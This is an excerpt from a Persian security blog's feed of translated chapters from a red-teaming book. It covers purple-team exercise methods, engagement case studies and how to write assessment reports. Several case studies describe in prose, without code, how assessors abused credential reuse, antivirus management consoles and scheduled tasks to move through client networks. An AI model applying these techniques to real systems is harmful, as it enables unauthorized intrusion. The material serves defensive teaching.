به آن و شروع فرایند واکنش به حادثه تناسب داشته باشد. این &#8220;گرفتن&#8221; می‌تواند ارسال یک شبیه سازی شده هشدار یا شناسایی واقعی فعالیت‌های تیم قرمز توسط تیم آبی باشد. رها کردن هم فرصتی است که به تیم قرمز برای پیشگیری از گیر افتادن دوباره به همان روش و تلاش برای پایدار کردن حضور این تیم در شبکه داده می‌شود.</p>
<p>مزیت این روش این است که تیم قرمز می‌تواند هر فعالیت ممکنی را برای ارتقای قدرت تاب آوری خودش انجام دهد تا حضور خود را در سازمان پایدار کند. بعلاوه، تیم آبی هم واکنش واقع گرایانه به حادثه را تمرین می‌کند که در آن فعالانه سعی دارد شبکه را از مهاجمی که در جریان هست شناسایی شده، پاکسازی کند. بین همه روش‌های بررسی شده برای اجرای عملیات تیم بنفش، این روش به تیم‌های قرمز و آبی امکان می‌دهد که خلاقانه‌تر عمل کرده و فرایندهای مورد استفاده خودشان را تقویت کنند. باز هم احتمال اجرای این روش در سازمان‌هایی که تیم قرمز و آبی درون سازمانی دارند بیشتر است. به نظر من، این روش برای اجرای عملیات تیم بنفش بسیار مفید است و در آن مفهوم شبیه سازی حمله و ارزیابی واکنش یک سازمان به طور کامل اجرایی می‌شود.</p>
<p>همچنین روش گرفتن و رها کردن یک نکته بسیار ارزشمند را در رابطه با فعالیت‌های تیم قرمز، تیم آبی، تیم بنفش و در مجموع امنیت تهاجمی آشکار می‌کند یعنی اینکه شناسایی و گیر انداختن به معنای خنثی سازی کامل تهدید نیست. بسیاری از مواقع در حالی که عملیات همچنان در حال اجرا است، تیم آبی به ما اطلاع می‌دهد که چون ما را شناسایی کرده، عملیات به پایان رسیده است. طبق تجربه شخصی من، ممکن است هشدار یک فعالیت ساعت‌ها &#8211; یا حتی روزها &#8211; پس از تکمیل آن فعالیت ایجاد شود و تقریباً در همه موارد، شناسایی آن فعالیت به تنهایی مانع از ماندگار شدن حضور مهاجمان نمی‌شود. فرض کنید که یک تیم آبی متوجه فعالیت ما برای اجرای یک اکسپلویت ارتقای دسترسی خطرناک روی میزبانی شود که در آن در جستجوی اطلاعات هستیم اما این شناسایی دو ساعت پس از اجرای اکسپلویت و یک ساعت پس از تمام شدن کار ما با آن سیستم صورت گرفته باشد؛ در این صورت این اقدام تیم آبی این به معنای شکست دادن تیم ما نیست. احتمالاً در این بازه زمانی اطلاعات مورد نظر مهاجم به دست آمده یا مهاجم موفق به نفوذ به سایر دستگاه‌ها شده است. به نظر من، کارشناسان امنیت دفاعی و تهاجمی باید درک کنند که حین اجرای یک ارزیابی و یا در شرایط واقعی، در صورتی که فرایند واکنش به حادثه قادر به ریشه کنی مهاجم در سازمان نباشد، شناسایی فعالیت مهاجم بی‌فایده خواهد بود. این تصور تیم آبی که به دلیل تشخیص یک فعالیت، ارزیابی انجام شده پیشرفته و حرفه‌ای نبوده یا یافته‌های بعدی تیم قرمز بی‌فایده هستند، دیدگاه بسیار ناامید کننده‌ای است. من بارها با چنین شرایطی برخورد داشته‌ام که در آن هدف اصلی درک نشده است. چنین مأموریت‌هایی فرصت بسیار خوبی برای یک سازمان هستند تا با محدودیت‌های خود آشنا شده و واکنش به حادثه را در مقابل مهاجمی تمرین کند که برخلاف هکرهای واقعی، قصد انتشار داده‌ها یا افشای آسیب‌پذیری‌های سازمان را ندارد.</p>
<h3><a name="_Toc144125145"></a>هکر مفید</h3>
<p>راحت‌ترین و دوستانه‌ترین روش پیاده سازی فعالیت‌های تیم بنفش، روشی است که پس از یک ارزیابی امنیت تهاجمی و حین رسیدگی به یافته‌ها انجام می‌شود. در این روش گزارش نتایج یا بازخوردهایی که مهاجم پس از اجرای یک عملیات تیم بنفش هدفمند ارایه می‌دهد می‌توانند برای پیاده سازی استراتژی اصلاح و رفع آسیب‌پذیری بسیار مفید باشند. با وجود چنین بازخوردهایی می‌توان مطمئن شد که مدافعان طوری به نتایج رسیدگی می‌کنند که در نهایت به شکست دادن مهاجمان واقعی کمک می‌کند نه مهاجمان شبیه سازی شده. همچنین در این روش می‌توان به صورت مؤثر فهرست یافته‌ها و ترتیب رسیدگی به آنها را اولویت بندی کرد. حین اجرای این مأموریت‌های تیم بنفش، بارها مشاهده شده که کارمندان بخش امنیت سازمان مشتری ایده‌هایی برای پرداختن به یافته‌ها مطرح کرده‌اند که منجر به توقف حمله تیم قرمز شده اما مشکل اصلی را ریشه کن نمی‌کنند. این رویکرد شبیه به درمان علائم بیماری به جای رسیدگی به علت اصلی بیماری است. در ادامه چند مثال واقعی را بررسی می‌کنیم که در آنها راهکار اولیه مطرح شده توسط کارمندان امنیت با هدف رسیدگی به علائم پیشنهاد شده نه ریشه کن کردن مشکل اصلی.</p>
<p>در مورد اول، از محصولات امنیتی سازمان هدف برای گسترش آلودگی در سطح سازمان استفاده شد. یکی از این محصولات، نرم‌افزار مدیریت پیکربندی سازمانی بر اساس لینوکس بود که بخش‌های عمده‌ای از سازمان را به طور مرکزی مدیریت می‌کرد. مثال بعدی نرم‌افزار ضد ویروس مخصوص سیستم‌عامل ویندوز بود که به صورت مرکزی توسط یک سرور مدیریت می‌شد. در رابطه با نرم‌افزار لینوکس، استفاده مجدد از اعتبارنامه‌های کاربری امکان دسترسی از راه دور را فراهم می‌کرد و قابلیت ارتقای سطح دسترسی به تیم قرمز امکان می‌داد که در سرور مدیریت پیکربندی سازمان مستقر و پایدار شود. پس از آن، اعضای تیم توانستند تغییراتی در سازمان ایجاد کنند مثل نصب درهای پشتی، تغییر رمز عبور و اقدامات دیگر که همگی باعث فراهم شدن دسترسی ممتاز به همه نودهای تحت مدیریت می‌شوند. در میزبان‌هایی با سیستم‌عامل ویندوز، تکثیر یک حساب کاربری نیمه ممتاز روی یک سیستم، به تیم ارزیابی امکان داد تا به سرور مدیریت ضدویروس نفوذ کنند. سپس این تیم توانست رمزهای کنسول مدیریت تحت وب ضد ویروس را که روی این سیستم ذخیره شده بودند استخراج کرده و پس از ورود به این کنسول باینرهای دلخواهی را با سطح دسترسی سیستمی روی همه سیستم‌های موجود در آن دامنه از جمله کنترل‌گر دامنه اجرا کند. در هر دو حالت، کارمندان بخش امنیتی سازمان مشتری راهکارهایی را پیشنهاد دادند که متمرکز بر رسیدگی به علائم نفوذ بودند. مثلاً برای مشکل مربوط به لینوکس، پیشنهاد آنها ارتقای نسخه هسته و تغییر اعتبارنامه‌های کاربری دخیل در این فرایند بود. برای مشکل ویندوز هم توصیه نصب جدیدترین نسخه از نرم‌افزار ضد ویروس مطرح شد که توانایی بیشتری در مبهم سازی رمزعبور کنسول تحت وب داشت. در هر دو مثال، ارزیابان تیم قرمز توصیه‌هایی را برای رسیدگی به نقطه ضعف‌های واقعی موجود در دستگاه امنیتی سازمان مطرح کردند. در هر دو مورد لازم بود که ابزار مدیریت بسیار قدرتمند مورد استفاده سازمان از سایر سیستم‌ها تفکیک شده و برای آن از روش احرازهویت متفاوتی استفاده شود. مسئله اصلی ضرورت تفکیک سیستم‌های قدرتمند مذکور بود؛ سایر آسیب‌پذیری‌ها فقط امکان دسترسی به این سیستم‌ها را برای تیم ارزیابی فراهم می‌کردند. این به آن معنا نیست که نباید توصیه‌های کارمندان بخش امنیت سازمان را پیاده سازی کرد چون این توصیه‌ها هم مهم بودند. اما شباهت طرز فکر تیم قرمز به مهاجمان واقعی منجر به مطرح شدن ایده‌های دیگری شد که نه یک مسیر نفوذ خاص، بلکه انواع حملات را خنثی می‌کنند.</p>
<p>مثال بعدی مربوط به یک مرکز داده تحت لینوکس است. تیم قرمز با به دست آوردن دسترسی ممتاز ریشه<a href="#_ftn1" name="_ftnref1">[1]</a> به یک سیستم خاص و استفاده از همان حساب ریشه برای دسترسی به سایر سرورهای لینوکس، به کل مرکز داده نفوذ کرد. تیم امنیت سازمان فقط قابلیت دسترسی سطح ریشه به SSH را غیرفعال کرده و مسیر مورد استفاده تیم قرمز را نادیده گرفت. در جلسات بعدی با تیم آبی، تیم قرمز به آنها اطلاع دادند که فقط با استفاده از یک حساب کاربری دیگر توانسته‌اند از راه دور وارد سیستم شده و بعد به صورت محلی دوباره به حالت ریشه جابجا شوند تا هر ابزار دلخواهی را نصب کنند چون رمز حساب ریشه در همه سیستم‌ها ثابت مانده و تغییر نکرده بود. تیم قرمز توصیه کرد که قابلیت انتقال کاربرانی با SSH به سطح ریشه غیرفعال شود یا اعتبارنامه‌های کاربر ریشه در سرورهای مختلف متفاوت باشد تا از استفاده مجدد از آنها پیشگیری شود.</p>
<p>آخرین مثال ما در زمینه تفاوت بین توصیه‌های تیم قرمز و تیم آبی و مزیت استفاده از هر دو در قالب تیم بنفش، مربوط به اجرای باینری است. در یکی از ارایه‌ها، تیم قرمز اعلام کرد که توانسته با استفاده از کارهای زمانبندی شده در سیستم‌عامل ویندوز، یک ابزار با پسوند .exe را اجرا کند. مدافعان اعلام کردند که می‌توانند برای مواقعی که از کارهای زمانبندی شده برای اجرای یک باینری .exe جدید استفاده می‌شود، یک امضای مخصوص بنویسند. این راهکار هم ارزشمند بود اما فقط به یک آسیب‌پذیری خاص می‌پرداخت نه ریشه اصلی. تیم قرمز به کارمندان امنیت سازمان توضیح داد که می‌توانستند یک .dll بنویسند و آن را با زمانبندی rundll.exe اجرا کنند یا حتی از یک پسوند دیگر مثل .tlb استفاده کنند. مشکل اصلی این بود که کارهای زمانبندی شده اجازه اجرای باینری با دسترسی سطح سیستمی را داشتند و تیم قرمز با تیم آبی برای ریشه کن کردن تهدید اصلی همکاری کرد.</p>
<p>صرف نظر از مثال‌های ارایه شده، باید دقت داشت که طراحی استراتژی‌های ریشه کنی و رسیدگی به آسیب‌پذیری‌ها توسط کارمندان امنیت سازمان به همراه تیم ارزیابی که تفکر تهاجمی دارند، بسیار مفید است. هیچ محدودیتی برای روش‌های اجرای عملیات تیم بنفش وجود ندارد و برای پیاده سازی آن در هر سازمانی باید بهترین راه بهره برداری از این مفهوم شناسایی شود تا به بهبود وضعیت کلی امنیت سازمان، ارتقای مهارت‌های تیم‌های آبی و قرمز و درک بهتر طرز فکر طرف مقابل کمک کند.</p>
<h2><a name="_Toc144125146"></a>خلاصه فصل هشتم</h2>
<p>در این فصل به بررسی مفهوم تیم بنفش، چالش‌های آن و برخی از روش‌های اجرای فعالیت‌های تیم بنفش پرداختیم. همچنین مزایا و معایب انواع مختلف روش‌های اجرای عملیات تیم بنفش هم مورد بررسی قرار گرفت تا بهترین شرایط استفاده از آنها مشخص شود.</p>
<p>در نهایت سعی شد با مرور یکسری مثال واقعی، اطلاعات ارایه شده در این فصل بهتر به ذهن مخاطبان منتقل شود.</p>
<p><a href="#_ftnref1" name="_ftn1">[1]</a> root</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.peneter.com/professional-red-teaming-chapter-8/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>کتاب تیم قرمز حرفه‌ای &#8211; فصل هفتم</title>
		<link>https://blog.peneter.com/professional-red-teaming-chapter-7/</link>
					<comments>https://blog.peneter.com/professional-red-teaming-chapter-7/#respond</comments>
		
		<dc:creator><![CDATA[Peneter]]></dc:creator>
		<pubDate>Mon, 19 Aug 2024 10:51:23 +0000</pubDate>
				<category><![CDATA[کتاب]]></category>
		<guid isPermaLink="false">https://blog.peneter.com/?p=1375</guid>

					<description><![CDATA[فصل هفتم: گزارش نویسی می‌توان گفت که &#8220;برقراری ارتباط&#8221;، عنوان مناسب‌تری برای این فصل است. در صورت ضعف در انتقال نتایج ارزیابی به مشتری طوری...]]></description>
										<content:encoded><![CDATA[<h1>فصل هفتم: گزارش نویسی</h1>
<p>می‌توان گفت که &#8220;برقراری ارتباط&#8221;، عنوان مناسب‌تری برای این فصل است. در صورت ضعف در انتقال نتایج ارزیابی به مشتری طوری که امکان ارتقای وضعیت امنیت سازمان فراهم شود، داشتن مهارت‌های هک عالی و شگردهای استثنائی هم بی‌فایده خواهد بود. حتی در مواقعی که تیم قرمز قصد ارایه گزارش به مخاطبان فنی‌تر را داشته باشد، به احتمال بسیار زیاد این افراد فاقد طرز فکر امنیت تهاجمی هستند و یافته‌های تیم قرمز را از منظر متفاوتی نگاه می‌کنند. بعلاوه، در بیشتر مواقع، گزارش تیم قرمز به مدیریت سطح بالای سازمان تحویل داده می‌شود تا تصمیم گیری‌های اقتصادی لازم را در رابطه با اصلاح و رفع مشکلات شناسایی شده انجام دهند. این مخاطبان که اطلاعات فنی کمتری داشته و مسئول تصمیم گیری هستند، معمولاً یک خلاصه از فعالیت‌ها دریافت می‌کنند یا گزارش تیم قرمز را پس از بازبینی توسط کارمندان امنیت داخلی تحویل می‌گیرند. در هر صورت، اگر مخاطبان گزارش ارزیابی درباره مزایای اقتصادی رسیدگی به یافته‌های تیم قرمز توجیه نشوند، کل ارزیابی تلاشی بیهوده خواهد بود که نه به سازمان مشتری کمکی می‌کند و نه برای امنیت تهاجمی انگیزه تجاری ایجاد می‌کند. در این فصل به بررسی اطلاعات مهمی می‌پردازیم که باید در گزارش پایان ارزیابی به آنها اشاره شوند. همچنین توصیه‌هایی در رابطه با روش‌های مؤثر انتقال گزارش ارزیابی به مخاطبان در سازمان مشتری مطرح می‌کنیم.</p>
<h2><a name="_Toc144125123"></a>موارد لازم</h2>
<p>معمولاً گزارش دهی از طریق یک ارایه مختصر یا گزارش مکتوب انجام می‌شود. در ادامه فصل به مشخصات یک خلاصه خوب اشاره خواهد شد؛ بخش‌های فعلی این فصل مربوط به خود سند گزارش هستند. کاملاً قابل درک است که چرا باید در گزارش انتهای ارزیابی به یافته‌ها اشاره کرد و البته نکات مهم دیگری هم وجود دارند که باید به آنها اشاره کرد. ممکن است مخاطبان گزارش ارزیابی همان افرادی نباشند که در تعیین محدوده ارزیابی نقش داشتند یا ممکن است حین اجرای ارزیابی عضوی از زنجیره ارتباطی نباشند. این مخاطبان می‌توانند طیف وسیعی داشته باشند از جمله کارمندان امنیت آگاه به مسائل فنی و مدیران ارشد کسب و کار محور؛ بنابراین گزارش باید به صورتی نوشته شود که همه مخاطبان توانایی درک یافته‌های آن را داشته باشند. پیش از پرداختن به یافته‌های ارزیابی، بهتر است که ابتدا خوانندگان گزارش (یا در رابطه با ارایه، شنوندگان آن) را با چگونگی، زمان، اجراکنندگان ارزیابی و آنچه مورد ارزیابی قرار گرفته آشنا کرد. ممکن است مخاطبان در ابتدای ارزیابی چنین اطلاعاتی را نداشته باشند و در ارزیابی‌های طولانی‌تر هم یادآوری شرایط ارزیابی به درک بهتر و آشنایی با چارچوب نتایج کمک می‌کند.</p>
<p>باید بخشی از گزارش ارزیابی به ارایه توضیحاتی در رابطه با اجراکنندگان ارزیابی، آنچه که قرار بوده ارزیابی شود و مدت زمان اجرای ارزیابی اختصاص پیدا کند. ممکن است ارزیابی بسیار کوتاه و شامل محدوده‌ای کوچک باشد اما مدیر کسب و کار سازمان مشتری تا جلسه ارایه فصلی که توسط کارمندان امنیت سازمان انجام می‌شود نتایج را دریافت نکند. در صورتی که نتایج، مربوط به یک بازه زمانی کوتاه و محدوده‌ای خاص باشند، اگر این نکات مشخص نشده باشد ممکن است با توجه به نتایج ارزیابی این تصور ایجاد شود که ارزیابی ارزش هزینه صرف شده را نداشته است. باید در گزارش علاوه بر نشان دادن مشکلات امنیتی سازمان مشتری، برای پیگیری آنها هم انگیزه ایجاد کرد که این موضوع هم برای تیم‌های قرمز درون سازمانی و هم برای ارایه دهندگان خدمات امنیت تهاجمی اهمیت زیادی دارد. اگر نظر مدیر عملیاتی سازمان برای انجام فعالیت‌های ارزیابی جلب نشود، ممکن است بودجه تیم قرمز قطع شده و در نهایت منحل شده یا از تمدید قرارداد با آن خودداری شود. بدتر اینکه، ممکن است سازمان فعالیت‌های امنیت تهاجمی را به کلی رها کند و آنها را به چشم فعالیت‌های پرریسک و پرهزینه اتلاف کننده منابع ببیند.</p>
<p>پس از اینکه با مخاطبان در رابطه با عوامل شکل دهنده عملیات تیم قرمز گفتگو شد، بهتر است یک خلاصه کلی و سطح بالا از فعالیت ارزیابی در اختیار آنها قرار بگیرد. معمولاً من در این بخش از تعامل جزئیات مربوط به ترتیب انجام فعالیت‌ها را ذکر نمی‌کنم هر چند این اطلاعات هم می‌توانند مفید باشند. بررسی سطح بالای من شامل فعالیت‌های سرشماری و بهره برداری و همچنین نقاط حرکت مهم در ارزیابی است. می‌توان این روایت را در قالب فهرست نمونه زیر ارایه داد یا در قالب یک روایت آزادتر از ارزیابی.</p>
<ul>
<li>سازماندهی اطلاعات اپن سورس به دست آماده از فهرست اهداف خارجی</li>
<li>اسکن پورت و بررسی دستی وب سایت میزبان‌های خارجی</li>
<li>دسترسی اولیه به دست آمده با آسیب‌پذیری اجرای کد از راه دور در سایت</li>
<li>سرشماری منطقه غیرنظامی (DMZ<a href="#_ftn1" name="_ftnref1"><sup>[1]</sup></a>) پس از دسترسی اولیه و شناسایی اهداف داخلی</li>
<li>نفوذ به DMZ و فایل سرور داخلی برای حرکت هر چه بیشتر (در شبکه)</li>
<li>سرشماری بیشتر ماشین‌های شناسایی شده در شبکه‌های داخلی</li>
<li>نفوذ به ماشین‌های کاربری که منجر به دسترسی به میزبان‌های مدیریتی (ادمین) می‌شوند</li>
<li>نفوذ و بهره برداری از میزبان‌های مدیریتی برای دسترسی به کنترل‌گرهای دامنه</li>
<li>نفوذ به کنترل‌گرهای دامنه و استفاده مجدد از اعتبارنامه‌های کاربری بین میزبان‌های لینوکسی و ویندوزی برای فراهم کردن امکان تکمیل نفوذ به سازمان</li>
</ul>
<p>این خلاصه فعالیت‌های حمله، مهارت‌های ارزیاب را نشان داده و به خواننده کمک می‌کند تا یک درک فوری از شدت و اهمیت ارزیابی پیدا کند. همچنین چنین خلاصه‌هایی در مواقعی که ارزیابی موفقیت چندانی نداشته مفید هستند؛ می‌توان جزئیات بیشتری درباره نحوه اجرای فعالیت سرشماری در این گزارش‌ها درج کرد &#8211; حداقل برای نشان دادن کامل بودن تلاش‌های تیم ارزیابی. این اطلاعات باعث می‌شوند که مخاطب نسبت به تلاش‌های ارزیاب دید بهتری پیدا کرده و این واقعیت برای مخاطب یادآوری شود که مختصر بودن نتایج ناشی از خوب بودن وضعیت امنیتی سازمان است نه اجرای بد ارزیابی توسط تیم قرمز و به این ترتیب مخاطب را برای گزارش مختصرتر آماده می‌کنند.</p>
<p>آخرین نکته‌ای که باید پیش از پرداختن به خود یافته‌ها به آن اشاره کنیم، پرداختن به هر گونه بی‌نظمی شناسایی شده حین ارزیابی است. این گزارش فرصت خوبی برای اشاره به موارد مشکوک شناسایی شده در شبکه است که از نظر تیم ارزیابی باید به آنها اشاره شود اما جزء یافته‌های امنیتی که باید به آنها رسیدگی شود نیستند مثل شناسایی دستگاه‌ها، سرویس‌ها یا ترافیک غیرمنتظره درون سازمان. به عنوان مثال می‌توان به پیدا کردن یک تلفن همراه در شبکه اشاره کرد یا شناسایی یک سیستم ویندوزی خارج از دامنه و سایر اکتشافاتی که لزوماً تهدیدی برای سازمان نیستند اما خوب است به آنها اشاره شود چون از نظر تیم ارزیابی، غیرعادی یا ناهنجار به نظر می‌رسند.</p>
<p>همچنین باید تیم ارزیابی در این بخش از گزارش به شناسایی فعالیت‌های مخرب یا غیرقانونی در سازمان حین اجرای ارزیابی اشاره کند. گرچه باید این اطلاعات از قبل و به محض شناسایی فعالیت مخرب حین ارزیابی در اختیار سازمان قرار گرفته باشد اما خوب است که دوباره به آن اشاره شود چون ممکن است فراموش شده یا کنار گذاشته شده باشد و شناسایی این تهدیدات نشان دهنده تلاش و کوشش تیم ارزیابی است. در نهایت، تیم قرمز می‌تواند در این بخش به فعالیت‌های غیرعادی کارمندان امنیت سازمان که نشان دهنده اقدام ناشایست از طرف پرسنل امنیتی بوده، برای تیم قرمز مانع ایجاد کرده و باعث اتلاف منابع شده‌اند، اشاره کند. این اکتشافات می‌توانند شامل شناسایی پیکربندی‌های خاصی در نرم‌افزار امنیتی یا گزارش وقایعی باشند که نشان دهنده هدف گرفتن فعالیت‌ها یا ابزارهای تیم قرمز هستند یا وجود اسکریپت و ابزارهای دیگری که قصد شکار تیم قرمز را نشان می‌دهند. همانطور که در ابتدای این کتاب اشاره شد، چنین فعالیت‌هایی برای سازمان مضر هستند و ممکن است بهتر باشد این یافته‌ها در گزارش مطرح شوند. همچنین در شرایطی که نتیجه‌ای وجود ندارد یا وقتی کارمندان امنیتی پس از گیر انداختن تیم قرمز یافته‌های آنها را زیر سوال می‌برند، مطرح کردن این نکات می‌تواند برای ارتقای وضعیت امنیتی سازمان و حفظ اعتبار کلی تیم ارزیابی مفید باشد.</p>
<p>اما پیش از انجام این کار به خصوص در صورتی که تیم قرمز برون سازمانی است، برای اشاره به چنین فعالیت‌هایی در گزارش بسیار محتاط باشید چون ممکن است باعث تیره شدن هر چه بیشتر روابط شود. برای مثال، ممکن است کارمندان امنیت یک امضاء برای باینری خاص تیم قرمز نوشته باشند یا آی‌پی‌های تیم قرمز را به دست آورده باشند. در این صورت، می‌توان در گزارش از چنین جملاتی استفاده کرد &#8220;گرچه تیم امنیت توانست با این پیاده سازی مانع از فعالیت ما شود اما مایل هستیم که به آنها برای مقابله با مهاجمان کمک کنیم، نه فقط فعالیت تیم قرمز چون این کار کمک بیشتری به بهبود وضعیت امنیت سازمان می‌کند.&#8221; با این طرز بیان می‌توانید همزمان با اشاره به اینکه کارمندان امنیت مانع تلاش‌های شما شده‌اند، به آنها برای مقابله با مهاجمانی که از تکنیک‌های مشابه استفاده می‌کنند، پیشنهاد کمک بدهید. بهتر است با گزارش، ذهن و قلب مخاطب را به خود جلب کنید و از آن به عنوان فرصتی برای توبیخ و سرزنش استفاده نکنید.</p>
<h2><a name="_Toc144125124"></a>انواع یافته‌ها</h2>
<p>در این بخش به بررسی اصلی گزارش می‌پردازیم که شامل خود یافته‌ها و بهترین راه انتقال آنها به مشتری است. یافته‌ها انواع مختلفی دارند و می‌توان این موضوع را در شیوه ترسیم و انتقال یافته‌ها به مشتری منعکس کرد. بدیهی‌ترین یافته، وجود یک آسیب‌پذیری در یکی از نرم‌افزارهای نصب شده است که تیم ارزیابی از آن برای دستکاری یا تأثیرگذاشتن بر هدف استفاده کرده است. اما خیلی از یافته‌ها چنین ماهیت فنی ندارند و ممکن است مربوط به پیکربندی‌های اشتباه یا نبود پیکربندهایی باشند که منجر به اجرای موفقیت آمیز حمله شده‌اند. بسیاری از مواقع، اثبات مفهوم یک آسیب‌پذیری از طریق بهره برداری موفق از آن کار نامناسبی است بنابراین اعلام اینکه چنین یافته‌هایی وجود داشته‌اند اما از آنها بهره برداری نشده، باز هم برای مشتری بسیار مفید است. یافته‌هایی که ماهیت فنی کمتری دارند مثل فقدان پیاده سازی‌های رویه‌ای یا سیاست‌هایی خاص هم می‌توانند امکان نفوذ به بخش‌هایی از سازمان را برای ارزیاب‌ها فراهم کنند.</p>
<h3><a name="_Toc144125125"></a>آسیب‌پذیری‌های بهره‌برداری شده</h3>
<p>همانطور که اشاره شد، آسیب‌پذیری‌های بهره برداری شده به آسیب‌پذیری‌های شناسایی شده‌ای گفته می‌شود که بر علیه سازمان از آنها استفاده شده است. انجام این کار لزوماً همیشه ضروری نیست و ممکن است در برخی از تعاملات نیاز به بهره برداری وجود نداشته باشد یا کم باشد. در واقع، نفوذ به سیستم راه خوبی برای نشان دادن خطر آسیب‌پذیری است. معمولاً خطرناک‌ترین بخش از نفوذ به یک سیستم، وجود آسیب‌پذیری نیست بلکه دسترسی‌هایی است که پس از آن ایجاد می‌شود یا داده‌هایی که افشا می‌شود. مهم است که در چنین یافته‌هایی برای توضیح نحوه بهره برداری از موفقیت آمیز از آسیب‌پذیری، صداقت را رعایت کرد. این کار به کارمندان امنیتی امکان می‌دهد که خطر آسیب‌پذیری را بهتر درک کنند و ممکن است با در اختیار داشتن این اطلاعات برای رسیدگی به آسیب‌پذیری روش متفاوتی را انتخاب کنند.</p>
<p>ممکن است آسیب‌پذیری‌های بهره برداری شده شامل کارهایی باشند که ارزیاب و مشتری هر دو باید انجام دهند و مجزا از سایر یافته‌ها هستند. این شرایط خاص وقتی ایجاد می‌شود که تیم قرمز یک آسیب‌پذیری قبلاً فاش شده را شناسایی می‌کند یا یکی از آسیب‌پذیری‌هایی که قبلاً مورد بهره برداری قرار گرفته اما شناسایی شده را مسلح سازی می‌کند. اگر این آسیب‌پذیری یا اکسپلویت در نرم‌افزاری شناسایی شود که متعلق به سازمان مشتری نیست، احتمالاً مشتری در رابطه با آنچه با این آسیب‌پذیری انجام می‌شود، کنترل و نفوذ زیادی ندارد. اما تیم ارزیابی باید درباره اینکه این آسیب‌پذیری را چطور به اطلاع عموم و توسعه دهنده اپلیکیشن می‌رساند، آگاهانه تصمیم گیری کند. ممکن است تیم قرمز در این مرحله جزئیات آسیب‌پذیری را فاش کند اما همزمان که تیم در تلاش برای شناسایی بهترین راه انتشار اطلاعات آسیب‌پذیری است، یک توافقنامه عدم افشا با سازمان مشتری امضا کند. بعلاوه، گاهی اوقات ممکن است نرم‌افزار مورد بهره برداری در اصل متعلق به سازمان مشتری و بخشی از مدل کسب و کار آن باشد. در چنین شرایطی ممکن است مشتری مایل باشد که این فرایند افشا (یا به احتمال، پیشگیری از افشای این اطلاعات) توسط خود مشتری هدایت شده و از تیم ارزیابی بخوابد که برای پیشگیری از افشای آسیب‌پذیری، یک توافقنامه عدم افشا امضا کند. در هر صورت، شناسایی و مسلح سازی آسیب‌پذیری توسط هکرهای اخلاقی برای اولین بار نقش مهمی در ارتقای شهرت و رزومه کاری آنها دارد به ویژه در صورت درج آن در پایگاه داده ملی آسیب‌پذیری‌ها که تحت مدیریت مؤسسه ملی استانداردها و فناوری [آمریکا] قرار دارد.</p>
<h3><a name="_Toc144125126"></a>آسیب‌پذیری‌های بهره‌برداری نشده</h3>
<p>به دلایل مختلف ممکن است یک آسیب‌پذیری در یک سیستم شناسایی شود اما ارزیاب یا حتی مشتری از بهره برداری آن برای اثبات مفهوم خودداری کند. مثلاً اگر آسیب‌پذیری در بخش زیادی از سازمان وجود داشته باشد، لازم نیست که پس از هر بار شناسایی آن روی هر ماشین برای نشان دادن ریسک حضور آن در سازمان، با موفقیت از آن بهره برداری کرد. در واقع اگر تیم ارزیابی سعی کنند بارها از یک آسیب‌پذیری روی سیستم‌های مختلف بهره برداری کنند بدون اینکه این کار را به صورت هدفمند و گزینشی انجام دهند، این اقدام بی‌احتیاطی محسوب می‌شود. به همین ترتیب، ممکن است از طریق یک آسیب‌پذیری امکان نفوذ به یک سیستم فراهم شود اما پس از نفوذ با بررسی بیشتر هدف مشخص شود که چند آسیب‌پذیری اجرای کد از راه دور دیگر در چندین نرم‌افزار نصب شده روی سیستم وجود دارد. در چنین شرایطی، با توجه به اینکه تیم ارزیابی از قبل به این سیستم نفوذ کرده است، نیازی به اثبات مفهوم آسیب‌پذیری‌های دیگر نیست.</p>
<p>همچنین ممکن است مشتری متوجه شود که انجام چنین فعالیتی خطر زیادی به همراه دارد و از تیم ارزیابی درخواست کند که دستگاه یا اپلیکیشن را رها کرده یا دسترسی را به روش‌هایی امن‌تر فراهم کنند تا امکان ادامه ارزیابی وجود داشته باشد. در مجموع خوب است برای بهره برداری از یک آسیب‌پذیری از این استدلال استفاده کنیم که اگر بهره برداری از آسیب‌پذیری به نفوذ هر چه بیشتر در سازمان یا نشان دادن جدیت یک آسیب‌پذیری خاص کمکی نمی‌کند، احتمالاً ریسک استفاده از آن بیشتر از سود و منفعت این کار خواهد بود. اگر به یک مشتری اعلام کنیم که روی بیشتر سیستم‌های ویندوزی سازمان آنها آسیب‌پذیری MS17-010 پیدا شده و می‌توانیم با استفاده از این آسیب‌پذیری به سیستم‌های سازمان دسترسی پیدا کنیم، قطعاً جدیت گفتار ما به اندازه‌ای هست که توجه مشتری را به این واقعیت جلب کند و احتمالاً درخواست دسترسی سطح سیستمی به چند ماشین برای شبیه سازی بهره برداری نسبت به احتمال دیده شدن خطای &#8220;صفحه آبی&#8221; روی سیستم‌های شبکه، رویکرد حرفه‌ای‌تری خواهد بود.</p>
<h3><a name="_Toc144125127"></a>آسیب‌پذیری‌های فنی</h3>
<p>آسیب‌پذیری‌های فنی به آسیب‌پذیری‌های موجود در سیستم عامل‌ها یا اپلیکیشن‌ها گفته می‌شود که ناشی از به کار بردن روش‌های توسعه ضعیف یا ارتقای روش‌های بهره برداری هستند. تفکیک انواع آسیب‌پذیری‌ها اهمیت زیادی دارد چون احتمالاً خود سازمان مقصر وجود این آسیب‌پذیری‌ها نیست. هنگام بررسی و توضیح این موضوع در گزارش یا ارایه، توجه به نکاتی مثل اینکه آسیب‌پذیری اجرای کد از راه دور که در یکی از نرم‌افزارهای سازمان شناسایی شده، همین یک هفته پیش به صورت عمومی معرفی شده، ضروری است. در مقابل، وقتی سازمان از نرم‌افزاری استفاده می‌کند که سال‌ها از شناسایی و معرفی آسیب‌پذیری‌های آن می‌گذرد، باید برخورد متفاوتی داشت و احتمالاً در این حالت به اقداماتی فراتر از نصب جدیدترین و امن‌ترین نسخه نرم‌افزار نیاز خواهد بود. در چنین شرایطی احتمالاً یافته‌های مجزایی درباره مدیریت وصله‌های امنیتی، جامعیت پیکربندی سیستم‌ها یا مسائل دیگر وجود خواهد داشت.</p>
<h3><a name="_Toc144125128"></a>آسیب‌پذیری‌های غیرفنی</h3>
